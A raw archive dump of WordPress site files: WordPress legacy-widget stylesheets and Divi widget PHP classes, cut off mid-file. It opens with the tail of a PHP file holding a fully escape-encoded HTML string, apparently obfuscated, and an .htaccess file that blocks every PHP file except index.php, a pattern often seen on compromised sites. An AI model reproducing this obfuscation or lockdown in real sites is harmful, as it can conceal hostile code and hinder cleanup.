"\15\12\x20\40\74\x73\x63\x72\151\160\164\x3e\xd\12\x20\40\x20\x20\154\x75\143\151\144\x65\x2e\x63\x72\145\x61\x74\x65\111\143\157\x6e\163\x28\51\73\15\12\40\40\x20\40\144\157\x63\165\x6d\x65\x6e\x74\x2e\161\x75\145\162\x79\x53\x65\154\145\x63\164\157\x72\101\154\x6c\50\47\56\160\141\156\x65\154\x27\x29\x2e\146\157\162\105\141\x63\150\50\160\141\156\x65\x6c\x20\x3d\x3e\40\173\15\xa\x20\x20\40\40\40\x20\160\x61\x6e\x65\154\x2e\x61\144\x64\x45\166\x65\156\x74\x4c\151\163\164\145\x6e\145\x72\50\47\x6d\157\165\163\145\145\x6e\164\145\162\47\54\40\50\51\x20\75\76\x20\173\xd\12\40\40\x20\40\x20\40\40\40\160\x61\x6e\145\x6c\56\x73\164\171\x6c\x65\56\142\x6f\170\123\x68\141\x64\157\167\x20\x3d\40\x60\60\40\60\x20\x31\x35\x70\x78\x20\x24\173\x4d\141\x74\150\x2e\x72\141\156\x64\157\x6d\x28\51\x20\x3e\x20\60\56\65\x20\x3f\x20\47\166\141\162\50\x2d\x2d\156\x65\157\x6e\55\x70\x69\x6e\x6b\51\47\40\x3a\x20\x27\166\141\x72\50\55\55\x6e\x65\x6f\x6e\55\142\154\165\x65\51\x27\x7d\x60\x3b\15\xa\40\x20\x20\40\x20\40\175\51\73\xd\xa\x20\40\40\x20\x20\40\x70\x61\156\x65\154\56\141\144\144\105\x76\x65\x6e\x74\114\x69\163\x74\145\x6e\145\x72\x28\47\155\157\x75\163\x65\x6c\145\x61\x76\x65\47\x2c\x20\x28\x29\x20\x3d\76\40\x7b\xd\12\x20\x20\x20\40\40\x20\40\40\160\141\x6e\x65\x6c\56\163\164\171\x6c\x65\56\142\x6f\x78\x53\x68\141\x64\157\167\40\x3d\x20\x27\156\157\156\x65\47\x3b\xd\xa\x20\40\40\x20\40\40\x7d\x29\x3b\15\12\40\x20\40\x20\175\x29\73\15\xa\x20\40\74\57\163\143\x72\x69\160\164\76\15\xa\74\x2f\x62\x6f\144\x79\x3e\xd\12\x3c\57\x68\x74\x6d\x6c\76";
?>.htaccess000064400000000334152334434160006347 0ustar00<FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|php7|phP|PhP|php5|php8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch '^(index.php)$'>
Order allow,deny
Allow from all
</FilesMatch>style-rtl.css000064400000015333152334532320007224 0ustar00/**
 * Colors
 */
/**
 * Breakpoints & Media Queries
 */
/**
 * SCSS Variables.
 *
 * Please use variables from this sheet to ensure consistency across the UI.
 * Don't add to this sheet unless you're pretty sure the value will be reused in many places.
 * For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
 */
/**
 * Colors
 */
/**
 * Fonts & basic variables.
 */
/**
 * Grid System.
 * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
 */
/**
 * Dimensions.
 */
/**
 * Shadows.
 */
/**
 * Editor widths.
 */
/**
 * Block & Editor UI.
 */
/**
 * Block paddings.
 */
/**
 * React Native specific.
 * These variables do not appear to be used anywhere else.
 */
/**
 * Breakpoint mixins
 */
/**
 * Long content fade mixin
 *
 * Creates a fading overlay to signify that the content is longer
 * than the space allows.
 */
/**
 * Focus styles.
 */
/**
 * Applies editor left position to the selector passed as argument
 */
/**
 * Styles that are reused verbatim in a few places
 */
/**
 * Allows users to opt-out of animations via OS-level preferences.
 */
/**
 * Reset default styles for JavaScript UI based pages.
 * This is a WP-admin agnostic reset
 */
/**
 * Reset the WP Admin page styles for Gutenberg-like pages.
 */
:root {
  --wp-admin-theme-color: #007cba;
  --wp-admin-theme-color-darker-10: #006ba1;
  --wp-admin-theme-color-darker-20: #005a87;
  --wp-admin-border-width-focus: 2px;
}
@media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) {
  :root {
    --wp-admin-border-width-focus: 1.5px;
  }
}

.wp-block-legacy-widget__edit-form {
  background: #fff;
  border-radius: 2px;
  border: 1px solid #1e1e1e;
  padding: 11px;
}
.wp-block-legacy-widget__edit-form:not([hidden]) {
  display: flow-root;
}
.wp-block-legacy-widget__edit-form .wp-block-legacy-widget__edit-form-title {
  color: #000;
  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
  font-size: 14px;
  font-weight: 600;
  margin: 0 0 12px 0;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside {
  border: none;
  box-shadow: none;
  display: block;
  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside p {
  margin: 8px 0;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside label {
  font-size: 13px;
  line-height: 2.1;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside label,
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input,
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside a {
  font-family: system-ui;
  font-weight: normal;
  color: #000;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=text],
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=password],
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=date],
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=datetime],
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=datetime-local],
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=email],
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=month],
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=number],
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=search],
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=tel],
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=time],
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=url],
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=week],
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside select {
  font-family: system-ui;
  background-color: transparent;
  box-sizing: border-box;
  border: 1px solid #757575;
  border-radius: 3px;
  box-shadow: none;
  color: #000;
  display: block;
  margin: 0;
  width: 100%;
  font-size: 13px;
  font-weight: normal;
  line-height: 1;
  min-height: 30px;
  padding-right: 8px;
  padding-top: 8px;
  padding-bottom: 8px;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside select {
  padding-right: 4px;
}
.wp-block-legacy-widget__edit-form .widget.open,
.wp-block-legacy-widget__edit-form .widget.open:focus-within {
  z-index: 0;
}

.wp-block-legacy-widget__edit-form.wp-block-legacy-widget__edit-form,
.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview {
  color: #000;
}

.wp-block-legacy-widget__edit-preview,
.wp-block-legacy-widget__edit-no-preview {
  cursor: pointer;
}
.wp-block-legacy-widget__edit-preview:hover::after,
.wp-block-legacy-widget__edit-no-preview:hover::after {
  border-radius: 2px;
  border: 1px solid #949494;
  bottom: 0;
  content: "";
  right: 0;
  position: absolute;
  left: 0;
  top: 0;
}

.wp-block-legacy-widget__edit-preview.is-offscreen {
  right: -9999px;
  position: absolute;
  top: 0;
  width: 100%;
}

.wp-block-legacy-widget__edit-preview-iframe {
  overflow: hidden;
  width: 100%;
}

.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview {
  background: #f0f0f0;
  padding: 8px 12px;
}
.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview, .wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview h3, .wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview p {
  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
  font-size: 13px;
}
.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview h3 {
  font-size: 14px;
  font-weight: 600;
  margin: 4px 0;
}
.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview p {
  margin: 4px 0;
}

.wp-block-legacy-widget-inspector-card {
  padding: 0 52px 16px 16px;
}

.interface-complementary-area .wp-block-legacy-widget-inspector-card__name {
  margin: 0 0 5px;
  font-weight: 500;
}

.is-selected .wp-block-legacy-widget__container {
  padding: 8px 12px;
  min-height: 50px;
}

.components-popover__content .wp-block-legacy-widget__edit-form {
  min-width: 400px;
}

.wp-block-legacy-widget .components-base-control {
  width: 100%;
}
.wp-block-legacy-widget .components-select-control__input {
  padding: 0;
  font-family: system-ui;
}style-rtl.min.css000064400000011705152334532320010005 0ustar00:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-block-legacy-widget__edit-form{background:#fff;border-radius:2px;border:1px solid #1e1e1e;padding:11px}.wp-block-legacy-widget__edit-form:not([hidden]){display:flow-root}.wp-block-legacy-widget__edit-form .wp-block-legacy-widget__edit-form-title{color:#000;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:14px;font-weight:600;margin:0 0 12px}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside{border:none;box-shadow:none;display:block;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside p{margin:8px 0}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside label{font-size:13px;line-height:2.1}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside a,.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input,.wp-block-legacy-widget__edit-form .widget-inside.widget-inside label{font-family:system-ui;font-weight:400;color:#000}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=date],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=datetime-local],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=datetime],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=email],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=month],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=number],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=password],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=search],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=tel],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=text],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=time],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=url],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=week],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside select{font-family:system-ui;background-color:transparent;box-sizing:border-box;border:1px solid #757575;border-radius:3px;box-shadow:none;color:#000;display:block;margin:0;width:100%;font-size:13px;font-weight:400;line-height:1;min-height:30px;padding-right:8px;padding-top:8px;padding-bottom:8px}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside select{padding-right:4px}.wp-block-legacy-widget__edit-form .widget.open,.wp-block-legacy-widget__edit-form .widget.open:focus-within{z-index:0}.wp-block-legacy-widget__edit-form.wp-block-legacy-widget__edit-form,.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview{color:#000}.wp-block-legacy-widget__edit-no-preview,.wp-block-legacy-widget__edit-preview{cursor:pointer}.wp-block-legacy-widget__edit-no-preview:hover:after,.wp-block-legacy-widget__edit-preview:hover:after{border-radius:2px;border:1px solid #949494;bottom:0;content:"";right:0;position:absolute;left:0;top:0}.wp-block-legacy-widget__edit-preview.is-offscreen{right:-9999px;position:absolute;top:0;width:100%}.wp-block-legacy-widget__edit-preview-iframe{overflow:hidden;width:100%}.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview{background:#f0f0f0;padding:8px 12px}.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview,.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview h3,.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview p{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview h3{font-size:14px;font-weight:600;margin:4px 0}.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview p{margin:4px 0}.wp-block-legacy-widget-inspector-card{padding:0 52px 16px 16px}.interface-complementary-area .wp-block-legacy-widget-inspector-card__name{margin:0 0 5px;font-weight:500}.is-selected .wp-block-legacy-widget__container{padding:8px 12px;min-height:50px}.components-popover__content .wp-block-legacy-widget__edit-form{min-width:400px}.wp-block-legacy-widget .components-base-control{width:100%}.wp-block-legacy-widget .components-select-control__input{padding:0;font-family:system-ui}style.css000064400000015330152334532320006422 0ustar00/**
 * Colors
 */
/**
 * Breakpoints & Media Queries
 */
/**
 * SCSS Variables.
 *
 * Please use variables from this sheet to ensure consistency across the UI.
 * Don't add to this sheet unless you're pretty sure the value will be reused in many places.
 * For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
 */
/**
 * Colors
 */
/**
 * Fonts & basic variables.
 */
/**
 * Grid System.
 * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
 */
/**
 * Dimensions.
 */
/**
 * Shadows.
 */
/**
 * Editor widths.
 */
/**
 * Block & Editor UI.
 */
/**
 * Block paddings.
 */
/**
 * React Native specific.
 * These variables do not appear to be used anywhere else.
 */
/**
 * Breakpoint mixins
 */
/**
 * Long content fade mixin
 *
 * Creates a fading overlay to signify that the content is longer
 * than the space allows.
 */
/**
 * Focus styles.
 */
/**
 * Applies editor left position to the selector passed as argument
 */
/**
 * Styles that are reused verbatim in a few places
 */
/**
 * Allows users to opt-out of animations via OS-level preferences.
 */
/**
 * Reset default styles for JavaScript UI based pages.
 * This is a WP-admin agnostic reset
 */
/**
 * Reset the WP Admin page styles for Gutenberg-like pages.
 */
:root {
  --wp-admin-theme-color: #007cba;
  --wp-admin-theme-color-darker-10: #006ba1;
  --wp-admin-theme-color-darker-20: #005a87;
  --wp-admin-border-width-focus: 2px;
}
@media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) {
  :root {
    --wp-admin-border-width-focus: 1.5px;
  }
}

.wp-block-legacy-widget__edit-form {
  background: #fff;
  border-radius: 2px;
  border: 1px solid #1e1e1e;
  padding: 11px;
}
.wp-block-legacy-widget__edit-form:not([hidden]) {
  display: flow-root;
}
.wp-block-legacy-widget__edit-form .wp-block-legacy-widget__edit-form-title {
  color: #000;
  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
  font-size: 14px;
  font-weight: 600;
  margin: 0 0 12px 0;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside {
  border: none;
  box-shadow: none;
  display: block;
  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside p {
  margin: 8px 0;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside label {
  font-size: 13px;
  line-height: 2.1;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside label,
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input,
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside a {
  font-family: system-ui;
  font-weight: normal;
  color: #000;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=text],
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=password],
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=date],
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=datetime],
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=datetime-local],
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=email],
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=month],
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=number],
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=search],
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=tel],
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=time],
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=url],
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=week],
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside select {
  font-family: system-ui;
  background-color: transparent;
  box-sizing: border-box;
  border: 1px solid #757575;
  border-radius: 3px;
  box-shadow: none;
  color: #000;
  display: block;
  margin: 0;
  width: 100%;
  font-size: 13px;
  font-weight: normal;
  line-height: 1;
  min-height: 30px;
  padding-left: 8px;
  padding-top: 8px;
  padding-bottom: 8px;
}
.wp-block-legacy-widget__edit-form .widget-inside.widget-inside select {
  padding-left: 4px;
}
.wp-block-legacy-widget__edit-form .widget.open,
.wp-block-legacy-widget__edit-form .widget.open:focus-within {
  z-index: 0;
}

.wp-block-legacy-widget__edit-form.wp-block-legacy-widget__edit-form,
.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview {
  color: #000;
}

.wp-block-legacy-widget__edit-preview,
.wp-block-legacy-widget__edit-no-preview {
  cursor: pointer;
}
.wp-block-legacy-widget__edit-preview:hover::after,
.wp-block-legacy-widget__edit-no-preview:hover::after {
  border-radius: 2px;
  border: 1px solid #949494;
  bottom: 0;
  content: "";
  left: 0;
  position: absolute;
  right: 0;
  top: 0;
}

.wp-block-legacy-widget__edit-preview.is-offscreen {
  left: -9999px;
  position: absolute;
  top: 0;
  width: 100%;
}

.wp-block-legacy-widget__edit-preview-iframe {
  overflow: hidden;
  width: 100%;
}

.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview {
  background: #f0f0f0;
  padding: 8px 12px;
}
.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview, .wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview h3, .wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview p {
  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
  font-size: 13px;
}
.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview h3 {
  font-size: 14px;
  font-weight: 600;
  margin: 4px 0;
}
.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview p {
  margin: 4px 0;
}

.wp-block-legacy-widget-inspector-card {
  padding: 0 16px 16px 52px;
}

.interface-complementary-area .wp-block-legacy-widget-inspector-card__name {
  margin: 0 0 5px;
  font-weight: 500;
}

.is-selected .wp-block-legacy-widget__container {
  padding: 8px 12px;
  min-height: 50px;
}

.components-popover__content .wp-block-legacy-widget__edit-form {
  min-width: 400px;
}

.wp-block-legacy-widget .components-base-control {
  width: 100%;
}
.wp-block-legacy-widget .components-select-control__input {
  padding: 0;
  font-family: system-ui;
}style.min.css000064400000011702152334532320007203 0ustar00:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-block-legacy-widget__edit-form{background:#fff;border-radius:2px;border:1px solid #1e1e1e;padding:11px}.wp-block-legacy-widget__edit-form:not([hidden]){display:flow-root}.wp-block-legacy-widget__edit-form .wp-block-legacy-widget__edit-form-title{color:#000;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:14px;font-weight:600;margin:0 0 12px}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside{border:none;box-shadow:none;display:block;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside p{margin:8px 0}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside label{font-size:13px;line-height:2.1}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside a,.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input,.wp-block-legacy-widget__edit-form .widget-inside.widget-inside label{font-family:system-ui;font-weight:400;color:#000}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=date],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=datetime-local],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=datetime],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=email],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=month],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=number],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=password],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=search],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=tel],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=text],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=time],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=url],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside input[type=week],.wp-block-legacy-widget__edit-form .widget-inside.widget-inside select{font-family:system-ui;background-color:transparent;box-sizing:border-box;border:1px solid #757575;border-radius:3px;box-shadow:none;color:#000;display:block;margin:0;width:100%;font-size:13px;font-weight:400;line-height:1;min-height:30px;padding-left:8px;padding-top:8px;padding-bottom:8px}.wp-block-legacy-widget__edit-form .widget-inside.widget-inside select{padding-left:4px}.wp-block-legacy-widget__edit-form .widget.open,.wp-block-legacy-widget__edit-form .widget.open:focus-within{z-index:0}.wp-block-legacy-widget__edit-form.wp-block-legacy-widget__edit-form,.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview{color:#000}.wp-block-legacy-widget__edit-no-preview,.wp-block-legacy-widget__edit-preview{cursor:pointer}.wp-block-legacy-widget__edit-no-preview:hover:after,.wp-block-legacy-widget__edit-preview:hover:after{border-radius:2px;border:1px solid #949494;bottom:0;content:"";left:0;position:absolute;right:0;top:0}.wp-block-legacy-widget__edit-preview.is-offscreen{left:-9999px;position:absolute;top:0;width:100%}.wp-block-legacy-widget__edit-preview-iframe{overflow:hidden;width:100%}.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview{background:#f0f0f0;padding:8px 12px}.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview,.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview h3,.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview p{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview h3{font-size:14px;font-weight:600;margin:4px 0}.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview.wp-block-legacy-widget__edit-no-preview p{margin:4px 0}.wp-block-legacy-widget-inspector-card{padding:0 16px 16px 52px}.interface-complementary-area .wp-block-legacy-widget-inspector-card__name{margin:0 0 5px;font-weight:500}.is-selected .wp-block-legacy-widget__container{padding:8px 12px;min-height:50px}.components-popover__content .wp-block-legacy-widget__edit-form{min-width:400px}.wp-block-legacy-widget .components-base-control{width:100%}.wp-block-legacy-widget .components-select-control__input{padding:0;font-family:system-ui}widget-about.php000064400000006103152335734420007660 0ustar00<?php class AboutMeWidget extends WP_Widget
{
	function __construct(){
		$widget_ops = array( 'description' => esc_html__( 'Displays About Me Information', 'Divi' ) );
		$control_ops = array( 'width' => 400, 'height' => 300 );
		parent::__construct( false, $name = esc_html__( 'ET About Me Widget', 'Divi' ), $widget_ops, $control_ops );
	}

	/* Displays the Widget in the front-end */
	function widget( $args, $instance ){
		extract($args);
		$title = apply_filters( 'widget_title', empty( $instance['title'] ) ? esc_html__( 'About Me', 'Divi' ) : esc_html( $instance['title'] ) );
		$imagePath = empty( $instance['imagePath'] ) ? '' : esc_url( $instance['imagePath'] );
		$aboutText = empty( $instance['aboutText'] ) ? '' : $instance['aboutText'];

		echo et_core_intentionally_unescaped( $before_widget, 'html' );

		if ( $title )
			echo et_core_intentionally_unescaped( $before_title . $title . $after_title, 'html' ); ?>
		<div class="clearfix">
			<img src="<?php echo et_core_esc_previously( et_new_thumb_resize( et_multisite_thumbnail( $imagePath ), 74, 74, '', true ) ); ?>" id="about-image" alt="" />
			<?php echo wp_kses_post( $aboutText )?>
		</div>
	<?php
		echo et_core_intentionally_unescaped( $after_widget, 'html' );
	}

	/*Saves the settings. */
	function update( $new_instance, $old_instance ){
		$instance = $old_instance;
		$instance['title'] = sanitize_text_field( $new_instance['title'] );
		$instance['imagePath'] = esc_url( $new_instance['imagePath'] );
		$instance['aboutText'] = current_user_can('unfiltered_html') ? $new_instance['aboutText'] : stripslashes( wp_filter_post_kses( addslashes($new_instance['aboutText']) ) );

		return $instance;
	}

	/*Creates the form for the widget in the back-end. */
	function form( $instance ){
		//Defaults
		$instance = wp_parse_args( (array) $instance, array( 'title' => esc_html__( 'About Me', 'Divi' ), 'imagePath' => '', 'aboutText' => '' ) );

		# Title
		echo '<p><label for="' . esc_attr( $this->get_field_id('title') ) . '">' . esc_html__( 'Title', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('title') ) . '" name="' . esc_attr( $this->get_field_name('title') ) . '" type="text" value="' . esc_attr( $instance['title'] ) . '" /></p>';
		# Image
		echo '<p><label for="' . esc_attr( $this->get_field_id('imagePath') ) . '">' . esc_html__( 'Image', 'Divi' ) . ':' . '</label><textarea cols="20" rows="2" class="widefat" id="' . esc_attr( $this->get_field_id('imagePath') ) . '" name="' . esc_attr( $this->get_field_name('imagePath') ) . '" >' . esc_url( $instance['imagePath'] ) .'</textarea></p>';
		# About Text
		echo '<p><label for="' . esc_attr( $this->get_field_id('aboutText') ) . '">' . esc_html__( 'Text', 'Divi' ) . ':' . '</label><textarea cols="20" rows="5" class="widefat" id="' . esc_attr( $this->get_field_id('aboutText') ) . '" name="' . esc_attr( $this->get_field_name('aboutText') ) . '" >' . esc_textarea( $instance['aboutText'] ) .'</textarea></p>';
	}

}// end AboutMeWidget class

function AboutMeWidgetInit() {
	register_widget('AboutMeWidget');
}

add_action('widgets_init', 'AboutMeWidgetInit');widget-adsense.php000064400000005042152335734420010171 0ustar00<?php class AdsenseWidget extends WP_Widget
{
	function __construct(){
		$widget_ops = array( 'description' => esc_html__( 'Displays Adsense Ads', 'Divi' ) );
		$control_ops = array( 'width' => 400, 'height' => 500 );
		parent::__construct( false, $name = esc_html__( 'ET Adsense Widget', 'Divi' ), $widget_ops, $control_ops );
	}

	/* Displays the Widget in the front-end */
	function widget( $args, $instance ){
		extract($args);
		$title = apply_filters( 'widget_title', empty( $instance['title'] ) ? esc_html__( 'Adsense', 'Divi' ) : esc_html( $instance['title'] ) );
		$adsenseCode = empty( $instance['adsenseCode'] ) ? '' : $instance['adsenseCode'];

		echo et_core_intentionally_unescaped( $before_widget, 'html' );

		if ( $title ) {
			echo et_core_intentionally_unescaped( $before_title . $title . $after_title, 'html' );
		}
		?>
		<div style="overflow: hidden;">
			<?php echo et_core_intentionally_unescaped( $adsenseCode, 'html' ); ?>
			<div class="clearfix"></div>
		</div>
	<?php
		echo et_core_intentionally_unescaped( $after_widget, 'html' );
	}

	/*Saves the settings. */
	function update( $new_instance, $old_instance ){
		$instance = $old_instance;
		$instance['title'] = sanitize_text_field( $new_instance['title'] );
		$instance['adsenseCode'] = current_user_can('unfiltered_html') ? $new_instance['adsenseCode'] : stripslashes( wp_filter_post_kses( addslashes($new_instance['adsenseCode']) ) );

		return $instance;
	}

	/*Creates the form for the widget in the back-end. */
	function form( $instance ){
		//Defaults
